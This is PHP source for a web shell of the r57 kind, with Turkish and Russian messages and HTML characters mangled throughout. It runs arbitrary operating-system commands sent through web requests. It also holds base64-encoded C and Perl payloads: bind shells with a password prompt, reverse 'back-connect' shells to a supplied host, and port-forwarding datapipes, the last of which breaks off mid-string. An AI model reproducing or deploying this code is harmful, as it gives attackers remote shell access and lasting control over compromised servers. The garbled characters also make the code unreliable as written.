$lb = \_font color=black_[_/font_\;
$rb = \_font color=black_]_/font_\;
$font = \_font face=Verdana size=-2_\;
$ts = \_table class=table1 width=100% align=center_\;
$te = \_/table_\;
$fs = \_form name=form method=POST_\;
$fe = \_/form_\;
if (!empty($_POST[\dir\])) { @chdir($_POST[\dir\]); }
$dir = @getcwd();
$windows = 0;
$unix = 0;
if(strlen($dir)_1 && $dir[1]==\:\) $windows=1; else $unix=1;
if(empty($dir))
{
$os = getenv(\OS\);
if(empty($os)){ $os = php_uname(); }
if(empty($os)){ $os =\-\; $unix=1; }
else
{
if(@eregi(\^win\,$os)) { $windows = 1; }
else { $unix = 1; }
}
}
if(!empty($_POST[\s_dir\]) && !empty($_POST[\s_text\]) && !empty($_POST[\cmd\]) && $_POST[\cmd\] == \search_text\)
{
echo $head;
if(!empty($_POST[\s_mask\]) && !empty($_POST[\m\])) { $sr = new SearchResult($_POST[\s_dir\],$_POST[\s_text\],$_POST[\s_mask\]); }
else { $sr = new SearchResult($_POST[\s_dir\],$_POST[\s_text\]); }
$sr-_SearchText(0,0);
$res = $sr-_GetResultFiles();
$found = $sr-_GetMatchesCount();
$titles = $sr-_GetTitles();
$r = \\;
if($found _ 0)
{
$r .= \_TABLE width=100%_\;
foreach($res as $file=_$v)
{
$r .= \_TR_\;
$r .= \_TD colspan=2__font face=Verdana size=-2__b_\.ws(3);
$r .= ($windows)? str_replace(\/\,\\\\\\,$file) : $file;
$r .= \_/b__/font__/ TD_\;
$r .= \_/TR_\;
foreach($v as $a=_$b)
{
$r .= \_TR_\;
$r .= \_TD align=center__B__font face=Verdana size=-2_\.$a.\_/font__/B__/TD_\;
$r .= \_TD__font face=Verdana size=-2_\.ws(2).$b.\_/font__/TD_\;
$r .= \_/TR_\\n\;
}
}
$r .= \_/TABLE_\;
echo $r;
}
else
{
echo \_P align=center__B__font face=Verdana size=-2_\.$lang[$language.\_text56\].\_/B__/font__/P_\;
}
echo \_br__div align=center__font face=Verdana size=-2__b_[ _a href=\.$_SERVER[\PHP_SELF\].\_GERI_/a_ ]_/b__/font__/div_\;
die();
}
if($windows&&!$safe_mode)
{
$uname = ex(\ver\);
if(empty($uname)) { $safe_mode = 1; }
}
else if($unix&&!$safe_mode)
{
$uname = ex(\uname\);
if(empty($uname)) { $safe_mode = 1; }
}
$SERVER_SOFTWARE = getenv(\SERVER_SOFTWARE\);
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = \-\; }
function ws($i)
{
return @str_repeat(\ \,$i);
}
function ex($cfe)
{
$res = \\;
if (!empty($cfe))
{
if(function_exists(\exec\))
{
@exec($cfe,$res);
$res = join(\\\n\,$res);
}
elseif(function_exists(\shell_exec\))
{
$res = @shell_exec($cfe);
}
elseif(function_exists(\system\))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(\passthru\))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,\r\)))
{
$res = \\;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function we($i)
{
if($GLOBALS[\language\]==\ru\){ $text = \Ошибка! Не могу записать в файл \; }
else { $text = \[-] HATA! Dosya yazilabilir de?il ! \; }
echo \_table width=100% cellpadding=0 cellspacing=0__tr__td bgcolor=#cccccc__font color=red face=Verdana size=-2__div align=center__b_\.$text.$i.\_/b__/div__/font__/td__/tr__/table_\;
return null;
}
function re($i)
{
if($GLOBALS[\language\]==\ru\){ $text = \Ошибка! Не могу прочитать файл \; }
else { $text = \[-] HATA! Dosyayi okuma izni yok! \; }
echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__font color=red face=Verdana size=-2__div align=center__b_\.$text.$i.\_/b__/div__/font__/td__/tr__/table_\;
return null;
}
function ce($i)
{
if($GLOBALS[\language\]==\ru\){ $text = \Не удалось создать \; }
else { $text = \Olusturulamadi \; }
echo \_table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000__tr__td bgcolor=#cccccc__font color=red face=Verdana size=-2__div align=center__b_\.$text.$i.\_/b__/div__/font__/td__/tr__/table_\;
return null;
}
function perms($mode)
{
if ($GLOBALS[\windows\]) return 0;
if( $mode & 0x1000 ) { $type=\p\; }
else if( $mode & 0x2000 ) { $type=\c\; }
else if( $mode & 0x4000 ) { $type=\d\; }
else if( $mode & 0x6000 ) { $type=\b\; }
else if( $mode & 0x8000 ) { $type=\-\; }
else if( $mode & 0xA000 ) { $type=\l\; }
else if( $mode & 0xC000 ) { $type=\s\; }
else $type=\u\;
$owner[\read\] = ($mode & 00400) ? \r\ : \-\;
$owner[\write\] = ($mode & 00200) ? \w\ : \-\;
$owner[\execute\] = ($mode & 00100) ? \x\ : \-\;
$group[\read\] = ($mode & 00040) ? \r\ : \-\;
$group[\write\] = ($mode & 00020) ? \w\ : \-\;
$group[\execute\] = ($mode & 00010) ? \x\ : \-\;
$world[\read\] = ($mode & 00004) ? \r\ : \-\;
$world[\write\] = ($mode & 00002) ? \w\ : \-\;
$world[\execute\] = ($mode & 00001) ? \x\ : \-\;
if( $mode & 0x800 ) $owner[\execute\] = ($owner[\execute\]==\x\) ? \s\ : \S\;
if( $mode & 0x400 ) $group[\execute\] = ($group[\execute\]==\x\) ? \s\ : \S\;
if( $mode & 0x200 ) $world[\execute\] = ($world[\execute\]==\x\) ? \t\ : \T\;
$s=sprintf(\%1s\, $type);
$s.=sprintf(\%1s%1s%1s\, $owner[\read\], $owner[\write\], $owner[\execute\]);
$s.=sprintf(\%1s%1s%1s\, $group[\read\], $group[\write\], $group[\execute\]);
$s.=sprintf(\%1s%1s%1s\, $world[\read\], $world[\write\], $world[\execute\]);
return trim($s);
}
function in($type,$name,$size,$value)
{
$ret = \_input type=\.$type.\ name=\.$name.\ \;
if($size != 0) { $ret .= \size=\.$size.\ \; }
$ret .= \value=\\\\.$value.\\\\_\;
return $ret;
}
function which($pr)
{
$path = ex(\which $pr\);
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,\w\) or we($fname);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return \_tr class=tr1__td class=td1 width=\.$l.\% align=right_\.$t1.\_/td__td class=td1 align=left_\.$t2.\_/td__/tr_\;
}
if (!@function_exists(\view_size\))
{
function view_size($size)
{
if($size _= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . \ GB\;}
elseif($size _= 1048576) {$size = @round($size / 1048576 * 100) / 100 . \ MB\;}
elseif($size _= 1024) {$size = @round($size / 1024 * 100) / 100 . \ KB\;}
else {$size = $size . \ B\;}
return $size;
}
}
function DirFiles($dir,$types=\\)
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (FALSE !== ($file = @readdir($handle)))
{
if ($file != \.\ && $file != \..\)
{
if(!is_dir($dir.\/\.$file))
{
if($types)
{
$pos = @strrpos($file,\.\);
$ext = @substr($file,$pos,@strlen($file)-$pos);
if(@in_array($ext,@explode(\;\,$types)))
$files[] = $dir.\/\.$file;
}
else
$files[] = $dir.\/\.$file;
}
}
}
@closedir($handle);
}
return $files;
}
function DirFilesWide($dir)
{
$files = Array();
$dirs = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != \.\ && $file != \..\)
{
if(@is_dir($dir.\/\.$file))
{
$file = @strtoupper($file);
$dirs[$file] = \
\;
}
else
$files[$file] = @filesize($dir.\/\.$file);
}
}
@closedir($handle);
@ksort($dirs);
@ksort($files);
$files = @array_merge($dirs,$files);
}
return $files;
}
function DirFilesR($dir,$types=\\)
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != \.\ && $file != \..\)
{
if(@is_dir($dir.\/\.$file))
$files = @array_merge($files,DirFilesR($dir.\/\.$file,$types));
else
{
$pos = @strrpos($file,\.\);
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(\;\,$types)))
$files[] = $dir.\/\.$file;
}
else
$files[] = $dir.\/\.$file;
}
}
}
@closedir($handle);
}
return $files;
}
function DirPrintHTMLHeaders($dir)
{
$pockets = \\;
$handle = @opendir($dir) or die(\Can\t open directory $dir\);
echo \ _ul style=\margin-left: 0px; padding-left: 20px;\_\\n\;
while (false !== ($file = @readdir($handle)))
{
if ($file != \.\ && $file != \..\)
{
if(@is_dir($dir.\/\.$file))
{
echo \ _li__b_[ $file ]_/b__/li_\\n\;
DirPrintHTMLHeaders($dir.\/\.$file);
}
else
{
$pos = @strrpos($file,\.\);
$ext = @substr($file,$pos,@strlen($file)-$pos);
if(@in_array($ext,array(\.htm\,\.html\)))
{
$header = \-=None=-\;
$strings = @file($dir.\/\.$file) or die(\Can\t open file \.$dir.\/\.$file);
for($a=0;$a_count($strings);$a++)
{
$pattern = \(_title_(.+)_/title_)\;
if(@eregi($pattern,$strings[$a],$pockets))
{
$header = \«\.$pockets[2].\»\;
break;
}
}
echo \ _li_\.$header.\_/li_\\n\;
}
}
}
}
echo \ _/ul_\\n\;
@closedir($handle);
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter=\\)
{
$dirs = @explode(\;\,$dir);
$this-_FilesToSearch = Array();
for($a=0;$a_count($dirs);$a++)
$this-_FilesToSearch = @array_merge($this-_FilesToSearch,DirFilesR($dirs[$a],$filter));
$this-_text = $text;
$this-_FilesTotal = @count($this-_FilesToSearch);
$this-_TimeStart = getmicrotime();
$this-_MatchesCount = 0;
$this-_ResultFiles = Array();
$this-_FileMatchesCount = Array();
$this-_titles = Array();
}
function GetFilesTotal() { return $this-_FilesTotal; }
function GetTitles() { return $this-_titles; }
function GetTimeTotal() { return $this-_TimeTotal; }
function GetMatchesCount() { return $this-_MatchesCount; }
function GetFileMatchesCount() { return $this-_FileMatchesCount; }
function GetResultFiles() { return $this-_ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(\ \,$this-_text);
$delim = \|\;
if($phrase)
foreach($qq as $k=_$v)
$qq[$k] = \\\b\.$v.\\\b\;
$words = \(\.@implode($delim,$qq).\)\;
$pattern = \/\.$words.\/\;
if(!$case)
$pattern .= \i\;
foreach($this-_FilesToSearch as $k=_$filename)
{
$this-_FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a_@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = \\;
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,\_SPAN style=\color: #990000;\__b_\\\\1_/b__/SPAN_\,$CurString);
$this-_ResultFiles[$filename][$a+1] = $CurString;
$this-_MatchesCount += $count;
$this-_FileMatchesCount[$filename] += $count;
}
}
}
$this-_TimeTotal = @round(getmicrotime() - $this-_TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(\ \,@microtime());
return ((float)$usec + (float)$sec);
}
$port_bind_bd_c=\I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=\;
$port_bind_bd_pl=\IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9\;
$back_connect=\IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\;
$back_connect_c=\I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==\;
$datapipe_c=\I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==\;
$datapipe_pl=\IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
